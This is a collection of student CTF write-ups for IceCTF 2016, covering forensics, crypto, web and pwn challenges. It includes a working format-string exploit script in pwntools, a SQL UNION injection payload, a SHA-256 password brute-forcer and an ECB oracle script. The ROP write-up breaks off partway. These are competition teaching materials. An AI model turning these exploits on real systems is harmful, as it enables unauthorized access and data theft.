15 | lzip installed, copy thor.txt to a directory then do `xxd -r thor.txt | lzip -d > thor.out`. This
16 | produces a JPEG image called thor.out. Simply open that image and there is your flag:
17 |
18 | `IceCTF{h3xduMp1N9_l1K3_A_r341_B14Clh47}`
19 |
--------------------------------------------------------------------------------
/icectf-2016/Thors-A-Hacker-Now/thor.out:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/Thors-A-Hacker-Now/thor.out
--------------------------------------------------------------------------------
/icectf-2016/Toke/README.md:
--------------------------------------------------------------------------------
1 | # IceCTF Toke
2 | ### Solution By: Nullp0inter
3 |
4 | # Description:
5 | I have a feeling they were pretty high when they made this [website](toke.vuln.icec.tf)...
6 |
7 | # Solution
8 |
9 | When you visit the webpage you are able to do basically two things, register and login. I, along with what I assume is a significant portion of people, thought that
10 | this challenge was a SQLi or XSS challenge at first. I initially made an account trying XSS but it was handled properly so that got nowhere, except I did see the post
11 | was made by a "Toke" who I then attempted to SQLi may way into for a while which was also fruitless. After logging in if you examine the cookies you will see one that
12 | is `jwt_token` which looks to be base64 encoded. If we just throw copy the whole thing `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiJucHRyIn0.ItKxsZx5YLny17hrz2WTmWALcBzwxB75pjwkxrNONd8` and just base64decode it:
13 |
14 | ```python
15 | #!/usr/bin/python
16 |
17 | import Base64
18 |
19 | cookie = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiJucHRyIn0.ItKxsZx5YLny17hrz2WTmWALcBzwxB75pjwkxrNONd8'
20 |
21 | print (base64.b64decode(cookie))
22 | ```
23 |
24 | we get back the flag:
25 | `IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}`
26 |
--------------------------------------------------------------------------------
/icectf-2016/corrupt_transmission/README.md:
--------------------------------------------------------------------------------
1 | # IceCTF 2016
2 | # Corrupt Transmission
3 | #### Forensics -- 50 points
4 | # Description
5 | We intercepted this image, but it must have gotten corrupted during the transmission. Can you try and fix it? corrupt.png
6 |
7 | # Solution
8 | As with many CTF challenges, it's a good idea to see what `file` has to say about it.
9 | ~~~
10 | sh$ file corrupt.png
11 | corrupt.png: data
12 | ~~~
13 | Since `file` is unable to identify this as a PNG, we know that the [magic numbers](https://en.wikipedia.org/wiki/File_format#Magic_number) are wrong.
14 |
15 | A quick Google search brought me to the [PNG specification](https://www.w3.org/TR/PNG/) which lists the magic numbers in decimal as
16 | ~~~
17 | 137 80 78 71 13 10 26 10
18 | ~~~
19 |
20 | Using bash and `xargs`, we can convert those to hex.
21 | ~~~
22 | sh$ echo "137 80 78 71 13 10 26 10" | xargs printf '%x '
23 | 89 50 4e 47 d a 1a a %
24 | ~~~
25 |
26 | When we look at the magic numbers in the file, we see that the magic numbers are incorrect.
27 |
28 | ~~~
29 | sh$ xxd corrupt.png | head -n 3
30 | 00000000: 9050 4e47 0e1a 0a1b 0000 000d 4948 4452 .PNG........IHDR
31 | 00000010: 0000 01f4 0000 0198 0806 0000 00b4 e010 ................
32 | 00000020: ab00 0000 0662 4b47 4400 ff00 ff00 ffa0 .....bKGD.......
33 | ~~~
34 |
35 | Using Vim as a [simple hex editor](http://vi.stackexchange.com/questions/2232/how-can-i-use-vim-as-a-hex-editor), we can correct the magic numbers:
36 |
37 | ~~~
38 | sh$ xxd corrupt_fixed.png | head -n 3
39 | 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
40 | 00000010: 0000 01f4 0000 0198 0806 0000 00b4 e010 ................
41 | 00000020: ab00 0000 0662 4b47 4400 ff00 ff00 ffa0 .....bKGD.......
42 | ~~~
43 |
44 | Now when the fixed PNG file is opened in an image viewer, the flag is clearly visible. `IceCTF{t1s_but_4_5cr4tch}`
45 |
--------------------------------------------------------------------------------
/icectf-2016/corrupt_transmission/corrupt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/corrupt_transmission/corrupt.png
--------------------------------------------------------------------------------
/icectf-2016/corrupt_transmission/corrupt_fixed.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/corrupt_transmission/corrupt_fixed.png
--------------------------------------------------------------------------------
/icectf-2016/dear_diary/README.md:
--------------------------------------------------------------------------------
1 | #Nullp0inter's dear_diary write up for IceCTF 2016
2 |
3 | ##Dear_Diary Pwn 60pts
4 | We all want to keep our secrets secure and what is more important than our precious diary entries? We made this highly secure diary service that is sure to keep all your boy crushes and edgy poems safe from your parents.
5 |
6 | nc diary.vuln.icec.tf 6501
7 |
8 | ## Write Up
9 | In this challenge we are given a download link for a elf-32bit binary. The
10 | idea is that this binary acts as a diary of sorts, allowing you to write an entry,
11 | print the LATEST entry only, or quit.
12 |
13 | ```
14 | -- Diary 3000 --
15 |
16 | 1. add entry
17 | 2. print latest entry
18 | 3. quit
19 | >
20 | ```
21 | I began by playing around and quickly found that the diary program would occasionally exit right after your entry and print 'rude!' like so:
22 | ```
23 | -- Diary 3000 --
24 |
25 | 1. add entry
26 | 2. print latest entry
27 | 3. quit
28 | > 1
29 | Tell me all your secrets: never gonna give you up, never gonna let you down
30 | rude!
31 | ```
32 |
33 | Thats a bit odd for a diary, just one entry and calling you rude as well. After playing around a little bit process of elemination shows the program does not allow specifically "n", that is to say the lowercase (uppercase is fine), which is undoubtedly also strange behavior. My mind is already screaming Format String Vulnerability but just to verify I tried to enter `AAAA%x%x%x%x%x%x%x` as an entry and
34 | print it:
35 | ```
36 | -- Diary 3000 --
37 |
38 | 1. add entry
39 | 2. print latest entry
40 | 3. quit
41 | > 1
42 | Tell me all your secrets: AAAA%x%x%x%x%x%x%x
43 |
44 | 1. add entry
45 | 2. print latest entry
46 | 3. quit
47 | > 2
48 | AAAA6ef757eed5fff4d948fff4ed480a8c521f00
49 |
50 | 1. add entry
51 | 2. print latest entry
52 | 3. quit
53 | >
54 | ```
55 |
56 | Clearly its not handling format strings properly according to the output above. This is good for us because it means we potentially have arbitrary read access in memory. To figure out how to use this effectively however we need to do some reversing. I started out using peda+gdb `disass main` and `pdisass main` but my reversing skills are pretty bad so I just cheated and used IDA.
57 |
58 | According to IDA we have the following functions:
59 |
60 | #####main:
61 | ```C
62 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
63 | {
64 | int v3; // eax@2
65 | unsigned int v4; // [sp+14h] [bp-140Ch]@1
66 | int v5; // [sp+18h] [bp-1408h]@8
67 | int v6; // [sp+1418h] [bp-8h]@2
68 | int v7; // [sp+141Ch] [bp-4h]@1
69 |
70 | v7 = *MK_FP(__GS__, 20);
71 | flag();
72 | v4 = 0;
73 | puts("-- Diary 3000 --");
74 | fflush(stdout);
75 | while ( 1 )
76 | {
77 | while ( 1 )
78 | {
79 | print_menu();
80 | fgets((char *)&v6, 4, stdin);
81 | v3 = atoi((const char *)&v6);
82 | if ( v3 != 2 )
83 | break;
84 | if ( v4 )
85 | print_entry((const char *)&v5 + 256 * (v4 - 1));
86 | else
87 | puts("No entry found!");
88 | }
89 | if ( v3 == 3 )
90 | break;
91 | if ( v3 == 1 )
92 | {
93 | if ( v4 > 0x13 )
94 | {
95 | puts("diary ran out of space..");
96 | exit(1);
97 | }
98 | add_entry((char *)&v5 + 256 * v4++);
99 | }
100 | else
101 | {
102 | puts("Invalid input.");
103 | }
104 | }
105 | exit(0);
106 | }
107 | ```
108 |
109 | #####print_menu:
110 | ```C
111 | int print_menu()
112 | {
113 | int v0; // ST1C_4@1
114 | v0 = *MK_FP(__GS__, 20);
115 | printf("\n1. add entry\n2. print latest entry\n3. quit\n> ");
116 | fflush(stdout);
117 | return *MK_FP(__GS__, 20) ^ v0;
118 | }
119 | ```
120 |
121 | #####add_entry:
122 | ```C
123 | int __cdecl add_entry(char *a1)
124 | {
125 | int v2; // [sp+1Ch] [bp-Ch]@1
126 | v2 = *MK_FP(__GS__, 20);
127 | printf("Tell me all your secrets: ");
128 | fflush(stdout);
129 | fgets(a1, 256, stdin);
130 | if ( strchr(a1, 110) )
131 | {
132 | puts("rude!");
133 | exit(1);
134 | }
135 | return *MK_FP(__GS__, 20) ^ v2;
136 | }
137 | ```
138 |
139 | #####print_entry:
140 | ```C
141 | int __cdecl print_entry(const char *a1)
142 | {
143 | int v1; // ST1C_4@1
144 | v1 = *MK_FP(__GS__, 20);
145 | printf(a1);
146 | fflush(stdout);
147 | return *MK_FP(__GS__, 20) ^ v1;
148 | }
149 | ```
150 |
151 | #####flag:
152 | ```C
153 | int flag()
154 | {
155 | int v0; // ST1C_4@1
156 | int fd; // ST18_4@1
157 | v0 = *MK_FP(__GS__, 20);
158 | fd = open("./flag.txt", 0);
159 | read(fd, &data, 0x100u);
160 | return *MK_FP(__GS__, 20) ^ v0;
161 | }
162 | ```
163 |
164 | AHA! Just as I thought, according to the print_entry function they didn't properly format our input. This simply confirms what we already know however. Much more interesting is that function `flag()` we see called first thing in `main()`.
165 |
166 | Taking a look at the flag function we see that it simply reads a file flag.txt into some part of memory. Checking the reference in IDA we find that its address is 0x0804a0a0. This is good we now know where in memory our flag is going to be.
167 |
168 | I decided I would test this myself locally before trying it on the remote server. To do this I needed to do two things:
169 | - Create a file in the same directory as the binary called `flag.txt` (into which I put the text `MeCTF{fecking_success!}`
170 | - Learn how to use pwntools as the menu means you can't simply do `python -c "print "`
171 |
172 | The former was obviously easy, the latter required a bit of assistance but eventually what I figured it out. I had my binary in ~/Downloads/dear_diary (I removed the hash in the name) so I created the flag file there as well. For this to work I needed to know where my format string was actually stored on the stack. The reason for this is because if the very first thing I write is an address rather than AAAA then if I can find where it is offset on the stack I can use %s to dereference the address as a pointer to a string and read it as such. Obviously I want to put 0x0804a0a0 onto the stack as that is where the flag is held (as seen in the flag function above) but to do this I decided to first craft some test strings and use gdb.
173 |
174 | Using python I came up with a quick command to generate strings to test with, `print 'AAAA'+'.%x'*NUM` where I kept increasing NUM starting from around 10. This generated strings such as `AAAA.%x.%x.%x.%x.%x.%x` and so on. Eventually I stumbled on the magic number, 18 %x's giving me `AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x` and testing it out in the program I get:
175 |
176 | ```
177 | -- Diary 3000 --
178 |
179 | 1. add entry
180 | 2. print latest entry
181 | 3. quit
182 | > 1
183 | Tell me all your secrets: AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
184 |
185 | 1. add entry
186 | 2. print latest entry
187 | 3. quit
188 | > 2
189 | AAAA.6e.f7622ed5.ffdc3188.ffdc4588.0.a.39402f00.f77a5000.f77a5000.ffdc4598.804888c.ffdc3188.4.f77a55a0.0.0.1.41414141
190 |
191 | 1. add entry
192 | 2. print latest entry
193 | 3. quit
194 | >
195 | ```
196 |
197 | Awesome! We can see by the 41414141 that we know where our format string ('AAAA') is going to be stored on the stack, 18 items down. Knowing this we can use a little bit of syntactic magic and do %18$x to confirm it is infact the 18th item:
198 |
199 | ```
200 | 1. add entry
201 | 2. print latest entry
202 | 3. quit
203 | > 1
204 | Tell me all your secrets: AAAA%18$x
205 |
206 | 1. add entry
207 | 2. print latest entry
208 | 3. quit
209 | > 2
210 | AAAA41414141
211 | ```
212 |
213 | So that's fantastic, we now know that the 18th item down is going to be our format string, this means we can dereference it using %18$s and the only issue now is getting it to be our flag address, 0x0804a0a0, rather than 'AAAA'. Normally we could just do `python -c "print ''+'%18$s'"` to properly parse the hex and pass it but due to that damn menu, this obviously won't work. Instead this is where pwntools comes in. Fire up python and do the following:
214 |
215 | ```Python
216 | from pwn import * # import all pwntools libraries
217 |
218 | payload = p32(134520992)+'%18$s' # pack the integer to hex and append %18$s as the payload
219 | p = process('/home/nullp0inter/Downloads/dear_diary') # open the binary locally as a process
220 | p.recv() # read from the local binary
221 | p.sendline('1') # send '1' to the local binary so we select the option to add entry
222 | p.recv() # read more from local binary
223 | p.sendline(payload) # send the payload we crafted to the binary
224 | p.interactive() # pop open an interactive shell for us to intereact with the binary
225 | ```
226 |
227 | So a quick note about the above, I got that number (134520992) by converting the hex 0x0804a0a0 to an integer online and did things this way due to my own lack of python knowledge, I am certain there is a substantially better way to do this but I couldn't really think of it or find it (I was focused on solving this quickly rather than elegantly). That said, the payload is the address of the flag followed by %18$s which will try to derefence that address and read it as a string. When we run this we get:
228 |
229 | ```
230 | [+] Starting local process '/home/nullp0inter/Downloads/dear_diary': Done
231 | [*] Switching to interactive mode
232 |
233 | 1. add entry
234 | 2. print latest entry
235 | 3. quit
236 | > $ 2
237 | \xa0\xa0\x0MeCTF{FECKING_SUCCESS}
238 |
239 |
240 | 1. add entry
241 | 2. print latest entry
242 | 3. quit
243 | > $
244 | ```
245 |
246 | THERE IT IS! Our local flag! So our exploit worked. We only need to make one small change for this to work on the remote server. We change the line (or comment it out and add the new line) `p = process('/home/nullp0inter/Downloads/dear_diary')` to `p = remote('diary.vuln.icec.tf',6501)` which is the nc address we were given in the problem. Once that change has been made we can run it again and we get:
247 |
248 | ```
249 | Tell me all your secrets:
250 | 1. add entry
251 | 2. print latest entry
252 | 3. quit
253 | > $ 2
254 | \xa0\xa0\x0IceCTF{this_thing_is_just_sitting_here}
255 |
256 |
257 | 1. add entry
258 | 2. print latest entry
259 | 3. quit
260 | > $
261 | ```
262 |
263 | There it is! The flag is `IceCTF{this_thing_is_just_sitting_here}`
264 |
265 |
266 | ##Special Thanks:
267 | Special thanks to both past and present members of my club, wcsc, who helped me out with this whether directly or otherwise. The support and information I gained while solving this challenge has been invaluable.
268 |
--------------------------------------------------------------------------------
/icectf-2016/dear_diary/dear_diary:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/dear_diary/dear_diary
--------------------------------------------------------------------------------
/icectf-2016/dear_diary/dear_diary.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | # Nullp0inter's dear_diary solution
4 | # <3 thx bt, duck, thwam, and whoever wrote the FSV presentation
5 | # for us back in 2008
6 |
7 | from pwn import *
8 |
9 | # Uncomment to make remote
10 | p = remote('diary.vuln.icec.tf',6501)
11 |
12 | # Uncomment to make local
13 | #p = process('/home/nullp0inter/Downloads/dear_diary')
14 |
15 | p.recv()
16 | p.sendline('1')
17 | p.recv()
18 | payload = p32(134520992)+'%18$s'
19 | p.sendline(payload)
20 | p.interactive()
21 |
--------------------------------------------------------------------------------
/icectf-2016/dear_diary/flag.txt:
--------------------------------------------------------------------------------
1 | MeCTF{FECKING_SUCCESS}
2 |
--------------------------------------------------------------------------------
/icectf-2016/intercepted_1/README.md:
--------------------------------------------------------------------------------
1 | # IceCTF 2016
2 | # Intercepted Part One
3 | ## Solution By: [duck](https://github.com/duckythescientist)
4 |
5 | # Solution (copied from solve.py)
6 |
7 | The pcap is a capture of a USB keyboard.
8 |
9 | The proper way to tell is by finding the VID/PID combination during enumeration then looking up the device from that.
10 |
11 | The easy way is just to have looked at enough USB stuffs to recognize that it's a keyboard. :)
12 |
13 | The keyboard data exists in the USB Leftover section. `tshark` is our friend for extracting this.
14 |
15 | ```bash
16 | tshark -r ./intercept.pcapng -T fields -e usb.capdata -Y usb.capdata 2>/dev/null
17 | ```
18 |
19 | This has some trailing data that we don't care about it, so use tail to skip the beginning 6 lines.
20 | ```bash
21 | tshark -r ./intercept.pcapng -T fields -e usb.capdata -Y usb.capdata 2>/dev/null | tail -n +6
22 | ```
23 |
24 | The output looks like:
25 | ```
26 | 00:00:00:00:00:00:00:00
27 | 20:00:00:00:00:00:00:00
28 | 20:00:0a:00:00:00:00:00
29 | 20:00:00:00:00:00:00:00
30 | 00:00:00:00:00:00:00:00
31 | ...
32 | ```
33 |
34 | The first byte is a bit field of modifier keys (shift, ctrl, alt, etc.). 0x20 means shift
35 |
36 | The third byte is a keycode. More keycodes can be in the later bytes, but this isn't the case this time.
37 |
38 | A line of all 00's means that all keys have been released.
39 |
40 | The keycodes can be found [here](http://download.microsoft.com/download/1/6/1/161ba512-40e2-4cc9-843a-923143f3456c/translate.pdf)
41 |
42 | Except, it's not actually a QWERTY keyboard. It's (mostly) Dvorak.
43 | Luckily for me, I actually use Dvorak.
44 |
45 | Treating it as pure Dvorak doesn't work either because some of the symbols aren't actually changed as expected.
46 | Truthfully, I didn't save the key, and I did some unswapping by hand, so I don't know if this final script is fully correct.
47 | It's at least really close. (may need to swap ':' with 'Z')
48 |
49 | ```bash
50 | tshark -r ./intercept.pcapng -T fields -e usb.capdata -Y usb.capdata 2>/dev/null | tail -n +6 | python usbcap_to_ascii.py
51 | ```
52 |
--------------------------------------------------------------------------------
/icectf-2016/intercepted_1/intercept_3dcea34fd7056a4cc2c1934dd07e4d1fed0bc0683b05b24741a999d1273339da.pcapng:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/intercepted_1/intercept_3dcea34fd7056a4cc2c1934dd07e4d1fed0bc0683b05b24741a999d1273339da.pcapng
--------------------------------------------------------------------------------
/icectf-2016/intercepted_1/solve.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 |
3 | """
4 | The pcap is a capture of a USB keyboard.
5 | The proper way to tell is by finding the VID/PID combination during enumeration then looking up the device from that.
6 | The easy way is just to have looked at enough USB stuffs to recognize that it's a keyboard. :)
7 |
8 | The keyboard data exists in the USB Leftover section. `tshark` is our friend for extracting this.
9 | tshark -r ./intercept.pcapng -T fields -e usb.capdata -Y usb.capdata 2>/dev/null
10 | This has some trailing data that we don't care about it, so use tail to skip the beginning 6 lines.
11 | tshark -r ./intercept.pcapng -T fields -e usb.capdata -Y usb.capdata 2>/dev/null | tail -n +6
12 |
13 | The output looks like:
14 | 00:00:00:00:00:00:00:00
15 | 20:00:00:00:00:00:00:00
16 | 20:00:0a:00:00:00:00:00
17 | 20:00:00:00:00:00:00:00
18 | 00:00:00:00:00:00:00:00
19 | ...
20 |
21 | The first byte is a bit field of modifier keys (shift, ctrl, alt, etc.). 0x20 means shift
22 | The third byte is a keycode. More keycodes can be in the later bytes, but this isn't the case this time.
23 | A line of all 00's means that all keys have been released.
24 |
25 | The keycodes can be found here: http://download.microsoft.com/download/1/6/1/161ba512-40e2-4cc9-843a-923143f3456c/translate.pdf
26 |
27 | Except, it's not actually a QWERTY keyboard. It's (mostly) Dvorak.
28 | Luckily for me, I actually use Dvorak.
29 | Treating it as pure Dvorak doesn't work either because some of the symbols aren't actually changed as expected.
30 |
31 | Truthfully, I didn't save the key, and I did some unswapping by hand, so I don't know if this final script is fully correct.
32 | It's at least really close. (may need to swap ':' with 'Z')
33 |
34 |
35 | tshark -r ./intercept.pcapng -T fields -e usb.capdata -Y usb.capdata 2>/dev/null | tail -n +6 | python usbcap_to_ascii.py
36 |
37 | """
38 | import string
39 | import sys
40 |
41 |
42 | def usb_to_ascii(x, mod=0):
43 | # This is really nasty
44 |
45 | # Qwerty with unprintables replaced by '?'
46 | # lower = string.ascii_lowercase + "1234567890" + "\n??\t -=[]\\?;'`,./?"
47 | # upper = string.ascii_uppercase + "!@#$%^&*()" + "\n??\t _|{}|?:\"~<>??"
48 |
49 | # Dvorak
50 | # lower = "axje.uidchtnmbrl'poygk,qf;" + "1234567890" + "\n??\t []/=\\?s-`wvz"
51 | # upper = 'AXJE>UIDCHTNMBRL"POYGK
14 |
15 |
16 |
17 | Log In
18 |
19 |
20 |
21 |
22 |
29 |
30 |
31 |
32 | ```
33 |
34 | Notice the line that reads `required pattern="[A-Z][a-z][0-9][0-9][\?%$@#\^\*\(\)\[\];:]`. Awesome, now we know that the format for the password is, in this order, one *captial* letter from A to Z, one *lowercase* letter
35 | from a to z, two *digits* between 0 and 9, then finally one character that falls within `?%$@#^*()[];:`. Put together this means we can only have passwords like `Ab19?`,`Xf526%`, etc. You can also use an
36 | online hash identifier to find out (if you didn't already know) that the given hash is sha256. Now let's get to those two options:
37 |
38 | ### The Easy Way:
39 | Just jam that hash into this [online cracker](md5hashing.net/hash "Online Hash Cracking Utility, md5hashing.net"), making sure to select sha256 as the hash type.
40 | It will come back in a few seconds and let you know that the result is `Vo83*` which fits our format so we try to login as user `admin` with
41 | password `Vo83*` and PRESTO we are in!
42 |
43 | ```
44 | Logged in!
45 |
46 | Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}
47 | ```
48 |
49 | There it is the flag.
50 |
51 |
52 | ### The Not As Easy Way:
53 | So recall that by now we know both the required format, the hash, AND we know the hash is of type sha256. We can write a simple python script
54 | to brute force that pretty quickly:
55 |
56 | ```python
57 | #!/usr/bin/python
58 | # Nullp0inter, Kitty Brute Forcer
59 | import hashlib # for sha256 and hexdigest
60 | import string # for the string constants
61 |
62 | correct_hash = 'c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a'
63 |
64 | for c1 in string.ascii_uppercase:
65 | for c2 in string.ascii_lowercase:
66 | for c3 in string.digits:
67 | for c4 in string.digits:
68 | for c5 in string.punctuation:
69 | mystring = c1 + c2 + c3 + c4 + c5
70 | my_hash = hashlib.sha256(mystring).hexdigest()
71 | if my_hash == correct_hash:
72 | print mystring
73 | ```
74 |
75 | That script will work in about 4 seconds and return the password string `Vo83*` (which matches what the online tool found). We simply take the
76 | password we got and use it to login as user `admin` and receive your prize:
77 |
78 | ```
79 | Logged in!
80 |
81 | Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}
82 | ```
83 |
84 |
--------------------------------------------------------------------------------
/icectf-2016/kitty/kitty.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # Nullp0inter, Kitty Brute Forcer
3 | import hashlib # for sha256 and hexdigest
4 | import string # for the string constants
5 |
6 | correct_hash = 'c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a'
7 |
8 | for c1 in string.ascii_uppercase:
9 | for c2 in string.ascii_lowercase:
10 | for c3 in string.digits:
11 | for c4 in string.digits:
12 | for c5 in string.punctuation:
13 | mystring = c1 + c2 + c3 + c4 + c5
14 | my_hash = hashlib.sha256(mystring).hexdigest()
15 | if my_hash == correct_hash:
16 | print mystring
17 |
--------------------------------------------------------------------------------
/icectf-2016/l33tcrypt/l33tbrute.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 | from base64 import b64decode as dec
4 | from base64 import b64encode as enc
5 |
6 | context.log_level = 'error'
7 |
8 | host = "localhost"
9 | # host = "l33tcrypt.vuln.icec.tf"
10 | port = 6001
11 |
12 | guess_bytes = [chr(x) for x in range(256)]
13 | block1_plaintext = 'l33tserver pleas'
14 |
15 | flag = ''
16 |
17 | def recv_line(c):
18 | c.recvline()
19 | c.recvline()
20 | c.recvline()
21 | d = c.recvline()
22 | return dec(d)
23 |
24 | def send_line(c, data):
25 | c.sendline(enc(data))
26 |
27 | def check_guess(i, goal):
28 | for x in guess_bytes:
29 | c = remote(host, port)
30 | send = block1_plaintext + 'e' * (63 - i) + flag + x
31 | send_line(c, send)
32 | guess = recv_line(c)[0x40:0x50]
33 | c.close()
34 | if guess == goal:
35 | return x
36 |
37 | for i in range(64):
38 | c = remote(host, port)
39 | send = block1_plaintext + 'e' * (63 - i)
40 | send_line(c, send)
41 | goal = recv_line(c)[0x40:0x50]
42 | c.close()
43 | b = check_guess(i, goal)
44 | try:
45 | flag += b
46 | print "flag so far:", flag
47 | except:
48 | print flag
49 | sys.exit()
50 |
--------------------------------------------------------------------------------
/icectf-2016/miners/README.md:
--------------------------------------------------------------------------------
1 | # IceCTF 2016
2 | # Miners!
3 | ######Web -- 65 points
4 | ## Description
5 | The miners website has been working on adding a login portal so that all miners can get the flag, but they haven't made any accounts! However, your boss demands the flag now! Can you get in anyway? [miners.vuln.icec.tf](http://miners.vuln.icec.tf)
6 |
7 | ## Solution
8 | The authors of the miners site have conveniently included a link to the PHP code they use to validate logins.
9 |
10 | ```php
11 | Login failed.";
21 | } else {
22 | echo "
Logged in!
";
23 | echo "
Your flag is: $FLAG
";
24 | }
25 | ?>
26 | ```
27 |
28 | The site will let you in if the query returns 1 and only 1 record.
29 |
30 | The challenge description suggests that there are no valid users in the database, but we need it to return 1 record anyway.
31 |
32 | The SQL `UNION` keyword, will join two seperate SELECT queries together, provided that they both have the same number of fields.
33 |
34 | We can make the assumption that the users table has three fields, *user_id*, *username*, and *password*.
35 |
36 | If the string, `' UNION SELECT '1','2','3` is injected into the password field, the whole query becomes
37 | ~~~
38 | SELECT * FROM users WHERE username='' AND password='' UNION SELECT '1','2','3'
39 | ~~~
40 |
41 | This gives us the flag, IceCTF{the_miners_union_is_a_strong_one}.
42 |
43 |
--------------------------------------------------------------------------------
/icectf-2016/ropi/README.md:
--------------------------------------------------------------------------------
1 | #Nullp0inter's ropi write up for IceCTF 2016
2 |
3 | ##Ropi Pwn 75pts
4 | Ritorno orientata programmazione
5 | nc.ropi.vuln.icec.tf 6500
6 |
7 | ## Write Up
8 | In this challange we are again given a download link for what we find out is a 32-bit ELF executeable binary. The challenge name and hint tell us we will probably be doing rop but beyond that or the specifics we don't really know yet. When we fire up the binary we get the following:
9 |
10 | ```
11 | Benvenuti al convegno RetOri Pro!
12 | Vuole lasciare un messaggio?
13 |
14 | ```
15 |
16 | Uh oh, Italian. I don't speak that so I threw it into Google Translate and got the following translation:
17 |
18 | ```
19 | Welcome to Pro Rectors conference!
20 | Wants to leave a message?
21 | ```
22 |
23 | So ok, its supposed to let me leave like a message. We get the gist. So now I tried entering just a bit of input to see normal execution:
24 |
25 | ```
26 | Benvenuti al convegno RetOri Pro!
27 | Vuole lasciare un messaggio?
28 | Never gonna give you up
29 | addio!
30 | ```
31 |
32 | It just comes back and prints addio!. Ok, now what? Well lets see if we can crash it:
33 | ```zsh
34 | python -c "print 'D'*100" | ./ropi
35 | Benvenuti al convegno RetOri Pro!
36 | Vuole lasciare un messaggio?
37 | [1] 72553 done python -c "print 'D'*100" |
38 | 72554 segmentation fault (core dumped) ./ropi
39 | ```
40 |
41 | YISSS, a core dump, lets examine that in gdb:
42 |
43 | ```bash
44 | Stopped reason: SIGSEGV
45 | 0x44444444 in ?? ()
46 | ```
47 | Awesome! It looks like we overwrote EIP, now we can generate a string with `ragg2` to take the guesswork (or real reversing) out of figuring out the buffer size:
48 | ```bash
49 | ragg2 -P 100 -r
50 | AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAA
51 | ```
52 | Using the string ragg2 generated:
53 | ```bash
54 | Stopped reason: SIGSEGV
55 | 0x41415041 in ?? ()
56 | ```
57 | Translating that to an ASCII string we get 'AAPA'. There are two ways to do this now which are either copying the string right up to the first A and using something like len() in Python, but I'm going to use a builtin tool for radare2, `wopO ` which will basically search for how far off that pattern is in the string we generated:
58 | ```bash
59 | r2 ropi
60 | -- This is amazing ...
61 | [0x08048430]> wopO 0x41415041
62 | 43
63 | ```
64 |
65 | 43 bytes of padding, alright, we can work with that. Now would be a good time to see where we actually get input and how much we get. We can do this by objdump or by IDA. I'm still learning to reverse so for now I'll just use IDA.
66 |
67 | Disassembling with IDA we get the following functions:
68 |
69 | #####main:
70 | ```C
71 | int __cdecl main(int argc, const char **argv, const char **envp)
72 | {
73 | ezy();
74 | puts("addio!");
75 | return 0;
76 | }
77 | ```
78 |
79 | #####ezy:
80 | ```C
81 | ssize_t ezy()
82 | {
83 | char buf; // [sp+10h] [bp-28h]@1
84 |
85 | puts("Benvenuti al convegno RetOri Pro!\nVuole lasciare un messaggio?");
86 | fflush(stdout);
87 | return read(0, &buf, 0x40u);
88 | }
89 | ```
90 |
91 | #####ret:
92 | ```C
93 | int __cdecl ret(int a1)
94 | {
95 | if ( a1 != -1159991569 )
96 | {
97 | puts("chiave sbagliata! :(");
98 | exit(1);
99 | }
100 | fd = open("./flag.txt", 0);
101 | puts("[+] aperto");
102 | return fflush(stdout);
103 | }
104 | ```
105 |
106 | #####ori:
107 | ```C
108 | int __cdecl ori(int a1, int a2)
109 | {
110 | if ( a1 != -1412567041 && a2 != 2018915346 )
111 | {
112 | puts("chiave sbagliata! :((");
113 | exit(1);
114 | }
115 | read(fd, &dati, 0x80u);
116 | puts("[+] leggi");
117 | return fflush(stdout);
118 | }
119 | ```
120 |
121 | #####pro:
122 | ```C
123 | int pro()
124 | {
125 | puts("[+] stampare");
126 | printf("%s", &dati);
127 | return fflush(stdout);
128 | }
129 | ```
130 | Using the disassembled functions we can see a few things. Firstly, we gain our input through a call to read and are given a max of 64 bytes (from nbytes being 0x40, which in decimal is 64). We know that for whatever reason, 43 or so bytes in we start to overwrite the EIP. This means we have *roughly* 20 bytes left to play with. Secondly we can see there are three functions other than `main()` and `ezy()` and each appears to have some part of loading and displaying the flag and have to be done in order.
131 |
